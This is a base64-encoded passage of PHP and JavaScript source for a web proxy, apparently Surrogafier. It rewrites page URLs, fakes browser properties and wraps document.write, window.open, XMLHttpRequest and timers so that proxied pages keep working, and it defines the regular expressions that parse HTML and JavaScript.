SQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpOw0KCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAobXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsNCgkJCWNhc2UgInBsYXRmb3JtIjoNCgkJCQl2YXIgdGVtcHBsYXRmb3JtPXRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDQiKTsNCgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9ybT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIpKTsNCgkJCWNhc2UgIm9zY3B1IjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ2IikpOw0KCQkJY2FzZSAibGFuZ3VhZ2UiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDciKSk7DQoJCQljYXNlICJhcHBOYW1lIjoNCgkJCQl2YXIgdGVtcGFwcG5hbWU9KG1zaWU/Ik1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpKTsNCgkJCQlpZih0ZW1wYXBwbmFtZT09Ik9wZXJhIiB8fCB0ZW1wYXBwbmFtZT09Ik1vemlsbGEiKSB0ZW1wYXBwbmFtZT0iTmV0c2NhcGUiOw0KCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsNCgkJCWNhc2UgInByb2R1Y3QiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDkiKSk7DQoJCQljYXNlICJwcm9kdWN0U3ViIjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxMCIpKTsNCgkJCWNhc2UgInBsdWdpbnMiOiByZXR1cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsNCgkJCWNhc2UgIm1pbWVUeXBlIjogcmV0dXJuIG5hdmlnYXRvci5taW1lVHlwZTsNCgkJCWRlZmF1bHQ6IHJldHVybiB1bmRlZmluZWQ7DQoJCX0NCgl9DQoNCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKSB1cmw9bG9jYXRpb24uaHJlZjsNCgllbHNlIHVybD1vYmpbYXR0cl07DQoJdXJsPXRoaXMuZGVfc3Vycm9nYWZ5X3VybCh1cmwpOw0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVybD11cmwucmVwbGFjZSgvXlteP10qLywiIik7DQoJcmV0dXJuIHVybDsNCn0sDQoNCmV2ZW50aWZ5OmZ1bmN0aW9uKGExLGEyKXsNCglkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJdGhpcy5zZXRQYXJlbnRVUkwodGhpcy5DVVJSX1VSTCk7DQp9LA0KDQpzZXRQYXJlbnRVUkw6ZnVuY3Rpb24odXJsKXsNCglpZih0aGlzLnRoZXRvcCE9bnVsbCAmJiB0aGlzLnRoZXRvcCE9d2luZG93KXsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlPXVybDsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb3h5X2xpbmsnKS5ocmVmPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYodGhpcy5zdXJyb2dhZnlfdXJsKHVybCksIj0tJiIpOw0KCX0NCn0sDQoNCnNldFBhcmVudFN0dWZmOmZ1bmN0aW9uKHByb3RvLHNlcnZlcil7IC8vIGFtYXppbmcgY3JlYXRpdml0eSB3aXRoIHRoZSBuYW1lIG9uIG15IHBhcnQNCgl2YXIgdG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50Ow0KCXRvcGRvYy50aXRsZT1kb2N1bWVudC50aXRsZTsNCg0KCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uDQoJdmFyIHRvcGhlYWQ9dG9wZG9jLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07DQoJdmFyIGxpbmtzPXRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKTsNCgl2YXIgbGluaz1udWxsOw0KCWZvcih2YXIgaT0wOyBpPGxpbmtzLmxlbmd0aDsgaSsrKXsgaWYobGlua3NbaV0udHlwZT09ImltYWdlL3gtaWNvbiIgJiYgbGlua3NbaV0ucmVsPT0ic2hvcnRjdXQgaWNvbiIpIGxpbms9bGlua3NbaV07IH0NCg0KCWlmKHRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGlsZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7DQoNCgl2YXIgZmF2aWNvbj10b3Bkb2MuY3JlYXRlRWxlbWVudCgibGluayIpOw0KCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29uIjsNCglmYXZpY29uLnJlbD0ic2hvcnRjdXQgaWNvbiI7DQoJZmF2aWNvbi5ocmVmPShsaW5rPT1udWxsP3RoaXMuc3Vycm9nYWZ5X3VybChwcm90bysiOi8vIitzZXJ2ZXIrIi9mYXZpY29uLmljbyIpOmxpbmsuaHJlZik7DQoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsNCn0sDQoNClhNTEh0dHBSZXF1ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7DQoJeG1saHR0cG9iai48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X29wZW49eG1saHR0cG9iai5vcGVuOw0KCXhtbGh0dHBvYmoub3Blbj08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LlhNTEh0dHBSZXF1ZXN0X29wZW47DQoJcmV0dXJuIHhtbGh0dHBvYmo7DQp9LA0KDQpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzFdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uc3Vycm9nYWZ5X3VybChhcmd1bWVudHNbMV0pOw0KCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7DQp9LA0KDQovLyBXUkFQUEVEIEZVTkNUSU9OUyBBTkQgT0JKRUNUUw0KdGhldG9wOnRvcCwNCnRoZXBhcmVudDpwYXJlbnQsDQpzZXRUaW1lb3V0OndpbmRvdy5zZXRUaW1lb3V0LA0Kc2V0SW50ZXJ2YWw6d2luZG93LnNldEludGVydmFsLA0KZG9jdW1lbnRfd3JpdGVfcXVldWU6IiIsDQpwdXJnZTpmdW5jdGlvbigpew0KCXRoZWh0bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsNCglpZih0aGVodG1sPT0iIikgcmV0dXJuOw0KCXRoZWh0bWw9dGhpcy5wYXJzZV9hbGxfaHRtbCh0aGVodG1sKTsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCS8vYWxlcnQodGhlaHRtbCk7IC8vIERFQlVHDQoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pih0aGVodG1sKTsNCn0sDQoNCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsNCgl0aGVodG1sPXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU7DQoJaWYodGhlaHRtbD09IiIpIHJldHVybjsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCWRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4odGhlaHRtbCk7DQp9DQoNCn0NCg0KLy8gfX19DQoNCi8vIEpBVkFTQ1JJUFQgRlVOQ1M6IFdSQVBQSU5HIHt7ew0KDQpkb2N1bWVudC53cml0ZV88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlOw0KZG9jdW1lbnQud3JpdGVsbl88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlbG47DQpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQ0KZG9jdW1lbnQud3JpdGVsbj1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbCsiXG4iOyB9DQoNCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49d2luZG93Lm9wZW47DQp3aW5kb3cub3Blbj1kb2N1bWVudC5vcGVuPWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwxKSByZXR1cm47DQoJdmFyIHVybD08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsNCglpZigodXJsLnN1YnN0cmluZygwLDEpPT0iXCIiIHx8IHVybC5zdWJzdHJpbmcoMCwxKT09IiciKSAmJiB1cmwuc3Vic3RyaW5nKDAsMSk9PXVybC5zdWJzdHJpbmcodXJsLmxlbmd0aC0xLHVybC5sZW5ndGgpKSB1cmw9dXJsLnN1YnN0cmluZygxLHVybC5sZW5ndGgtMSk7DQoJYXJndW1lbnRzWzBdPXVybDsNCglyZXR1cm4gd2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfQ0KDQpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxsX2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsNCglyZXR1cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0Kc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHMubGVuZ3RoPDIpIHJldHVybjsNCglhcmd1bWVudHNbMF09PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5wYXJzZV9hbGxfaHRtbChhcmd1bWVudHNbMF0sImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpOw0KCXJldHVybiA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0KLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0DQovKmV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj1ldmFsOw0KZXZhbD1mdW5jdGlvbigpew0KCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOw0KCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNlX2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7DQoJcmV0dXJuIGV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfSovDQoNCi8vIHdyYXAgdG9wIGFuZCBwYXJlbnQgb2JqZWN0cyBmb3IgYW50aS1mcmFtZSBicmVha2luZw0KaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7DQoJaWYocGFyZW50PT10b3ApIHBhcmVudD1zZWxmOw0KCWlmKHRvcCE9c2VsZikgdG9wPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udGhldG9wLmZyYW1lc1swXTsNCn0NCg0KLy8gfX19DQoNCi8vPC9zY3JpcHQ+PD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUkVHRVhQUyB7e3sNCg0KIyBUaGlzIGlzIHdoZXJlIGFsbCB0aGUgcGFyc2luZyBpcyBkZWZpbmVkLiAgSWYgYSBzaXRlIGlzbid0IGJlaW5nDQojIHBhcnNlZCBwcm9wZXJseSwgdGhlIHByb2JsZW0gaXMgbW9yZSB0aGFuIGxpa2VseSBpbiB0aGlzIHNlY3Rpb24uDQojIFRoZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVsIGJ1bmNoDQojIG9mIGluY29tcHJlaGVuc2libGUgcmVndWxhciBleHByZXNzaW9ucy4NCg0KDQojIFJFR0VYUFM6IENPTlZFUlNJT04gVE8gSkFWQVNDUklQVCB7e3sNCg0KZnVuY3Rpb24gYm9vbF90b19qcygkYm9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9DQpmdW5jdGlvbiBjb252ZXJ0YXJyYXlfdG9famF2YXNjcmlwdCgpew0KCWdsb2JhbCAkcmVnZXhwX2FycmF5czsNCgkkanM9J3JlZ2V4cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsNCglyZXNldCgkcmVnZXhwX2FycmF5cyk7DQoJd2hpbGUobGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpKXsNCgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQoJGFycikuIik7XG4iOw0KCQlmb3IoJGk9MDskaTxjb3VudCgkYXJyKTskaSsrKXsNCgkJCSRqcy49InJlZ2V4cF9hcnJheXNbXCIka2V5XCJdWyRpXT1uZXcgQXJyYXkoIjsNCgkJCWlmKCRhcnJbJGldWzBdPT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7DQoJCQllbHNlaWYoJGFyclskaV1bMF09PTIpICRqcy49JzIsJy5lc2NhcGVfcmVnZXhwKCRhcnJbJGldWzJdKS4iZyx7JGFyclskaV1bM119Ii4oY291bnQoJGFyclskaV0pPDU/bnVsbDonLCcuYm9vbF90b19qcygkYXJyWyRpXVs0XSkpLihjb3VudCgkYXJyWyRpXSk8Nj9udWxsOiIseyRhcnJbJGldWzVdfSIpOw0KCQkJJGpzLj0iKTtcbiI7DQoJCX0NCgl9DQoJcmV0dXJuIHN0cmlwc2xhc2hlcygkanMpOw0KfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFZBUklBQkxFUyB7e3sNCg0KZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQojICdpbWcnIHdhcyBpbiAkanNhdHRycy4uLiB3aGF0J3MgdGhhdCBmb3I/DQokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJhY2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhUTUwpJzsNCiRqc2hvb2thdHRycz0iKD86eyRqc2F0dHJzfXxjb29raWV8c2VhcmNofGhvc3RuYW1lKSI7DQokanNob29rZ2V0YXR0cnM9Iig/OnskanNob29rYXR0cnN9fHVzZXJBZ2VudHxwbGF0Zm9ybXxhcHBDb2RlTmFtZXxhcHBOYW1lfGFwcFZlcnNpb258bGFuZ3VhZ2V8b3NjcHV8cHJvZHVjdHxwcm9kdWN0U3VifHBsdWdpbnMpIjsNCi8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7DQokanNtZXRob2RzPScobG9jYXRpb25cLig/OnJlcGxhY2V8YXNzaWduKSknOw0KJGpzbG9jaG9zdD0nKGxvY2F0aW9uXC5ob3N0KD86bmFtZSl7MCwxfSknOw0KLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNoKSc7DQovLyRqc3JlYWxwYWdlPScoKD86KD86ZG9jdW1lbnR8d2luZG93KVwuKXswLDF9bG9jYXRpb24oPzooPz1bXlwuXSl8XC5ocmVmKXxkb2N1bWVudFwuZG9jdW1lbnRVUkl8W2Etel0rXC5yZWZlcnJlciknOw0KJGh0bWxhdHRycz0nKGRhdGF8aHJlZnxzcmN8YmFja2dyb3VuZHxwbHVnaW5zcGFnZXxjb2RlYmFzZXxhY3Rpb24pJzsNCg0KJGp1c3RzcGFjZT0iW1x0IF0qIjsNCiRwbHVzanVzdHNwYWNlPSJbXHQgXSsiOw0KJGFueXNwYWNlPSJbXHRcclxuIF0qIjsNCiRwbHVzc3BhY2U9IltcdFxyXG4gXSsiOw0KJG9wZXJhbmRzPSdbXCtcLVwvXCpdJzsNCiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOw0KDQokcXVvdGVzZWc9Jyg/OiIoPzpbXiJdfFtcXFxcXSIpKj8ifFwnKD86W15cJ118W1xcXFxdXCcpKj9cJyc7DQokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOw0KDQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyI7DQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFyc2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KLy8kanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OlteXChcKVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVwpKT8oPzpcWyg/OlteXFtcXVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVxdKT8iOw0KLy8kanN2YXJvYmo9Jyg/OlthLXpBLVowLTlcLl9cKFwpXFtcXVwrXC1dKyknOw0KJGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlthLXpBLVowLTlfXC9cXV0pPyc7DQokanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KJGpzdmFyb2JqPSJ7JGpzb2Jqc2VjdH0oPzpcLnskanNvYmpzZWN0fSkqIjsNCi8vJGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskYW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNwYWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/DQokanNxdW90ZXNlY3Q9Iig/OnskYW55c3BhY2V9eyRxdW90ZXNlZ318eyRqc3Zhcm9ian0pKSI7DQokanNxdW90ZXJlZz0ieyRqc3F1b3Rlc2VjdH0oPzpcK3skanNxdW90ZXNlY3R9KSoiOw0KDQovLyRub3Rqc3ZhcnNlY3Q9J1teYS16QS1aMC05XC5fXFtcXVwrLV0nOw0KLy8kbm90anN2YXJzZWN0PSdbXmEtekEtWjAtOVwuX1xbXF1cL10nOw0KJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7DQoNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfVs7XH1cblxyXCdcIl0pIjsNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFuZHN9W1xuXHJdKSkiOw0KJGpzZW5kPSIoPz17JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7DQokbm90anNlbmQ9Iig/IXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9wZXJhbmRzfVtcblxyXSkpIjsNCiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtcIT1dPSl7JGFueXNwYWNlfSkiOw0KLy8kanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XG5cclwoXCk9XCtcLVwvXCpdKXskYW55c3BhY2V9KSI7DQokanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XChcKT1cK1wtXC9cKl0peyRqdXN0c3BhY2V9KSI7DQoNCiRodG1sbm9xdW90PScoPzpbXiJcJ1xcXFxdW14+IF0qKSc7DQokaHRtbG5vcXVvdG5vcW09Jyg/OlteXD8iXCdcXFxcXVteXD8+IF0qKSc7DQokaHRtbHJlZz0iKHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7DQokeG1saHR0cHJlcT0iKD86WE1MSHR0cFJlcXVlc3R7JGFueXNwYWNlfSg/OlwoeyRhbnlzcGFjZX1cKXwpfEFjdGl2ZVhPYmplY3R7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX1bXlwpXStcLlhNTEhUVFBbJ1wiXXskYW55c3BhY2V9XCkpKD89OykiOw0KJGpzbmV3b2JqPSIoPzp7JGFueXNwYWNlfW5ld3skcGx1c3NwYWNlfXx7JGFueXNwYWNlfSkiOw0KJGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIpP3Bvc3QpW14+XSkiOw0KJGZyYW1ldGFyZ2V0cz0nXyg/OnRvcHxwYXJlbnR8c2VsZiknOw0KDQokanNfc3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVBdHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxzcGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJDYXNlfHRvU291cmNlfHZhbHVlT2YpJzsNCiRqc19zdHJpbmdfYXR0cnM9Jyg/OmNvbnN0cnVjdG9yfGxlbmd0aHxwcm90b3R5cGUpJzsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBKQVZBU0NSSVBUIFBBUlNJTkcge3t7DQoNCiRqc19yZWdleHBfYXJyYXlzPWFycmF5KA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRhdHRyc30peyRhbnlzcGFjZX1cKz0vaSIsJ1wxXDIuXDM9Jy5DT09LX1BSRUYuJy5nZXRBdHRyKFwyLC9cMy8pKycpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3BhY2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2VuZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyksDQoJYXJyYXkoMSwyLCIveyRqc2JlZ2lucmlnaHR9KHskanN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KShbXlwuPWEtejAtOV9cW1xdXHRcclxuXXxcLnskanNfc3RyaW5nX21ldGhvZHN9XCh8XC57JGpzX3N0cmluZ19hdHRyc317JG5vdGpzdmFyc2VjdH0pL2kiLCdcMScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKVw0JyksDQoNCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFwzKSknKSwNCglhcnJheSgxLDIsIi8oW15hLXowLTldKWV2YWx7JGFueXNwYWNlfVwoKHskYW55c3BhY2V9eyRqc3Zhcm9ian0pXCkvaSIsJ1wxZXZhbCgnLkNPT0tfUFJFRi4nLnBhcnNlX2FsbF9odG1sKFwyLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKSknKSwNCg0KCWFycmF5KDEsMiwiL3skanNiZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwNCgkvL2FycmF5KDEsMiwiL3skanNiZWdpbn0oXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oXCJ8JykoeyRqc2F0dHJzfSkoXFwyKXskYW55c3BhY2V9LHskYW55c3BhY2V9KSguKj8peyRqc2VuZH0vaSIsJ1wxXDInLkNPT0tfUFJFRi4nLnN1cnJvZ2FmeV91cmwoXDYpJyksDQoJLy9hcnJheSgxLDIsIi97JGpzYmVnaW59KFwuc2V0QXR0cmlidXRleyRhbnlzcGFjZX1cKHskYW55c3BhY2V9KFwifCcpKHskanNhdHRyc30pKFxcMil7JGFueXNwYWNlfSx7JGFueXNwYWNlfSkoLio/KXskanNlbmR9L2kiLCdcMVwyJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFw2KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVvdGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oW15cIHs+XHRcclxuPTtdK3skYW55c3BhY2V9PSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNj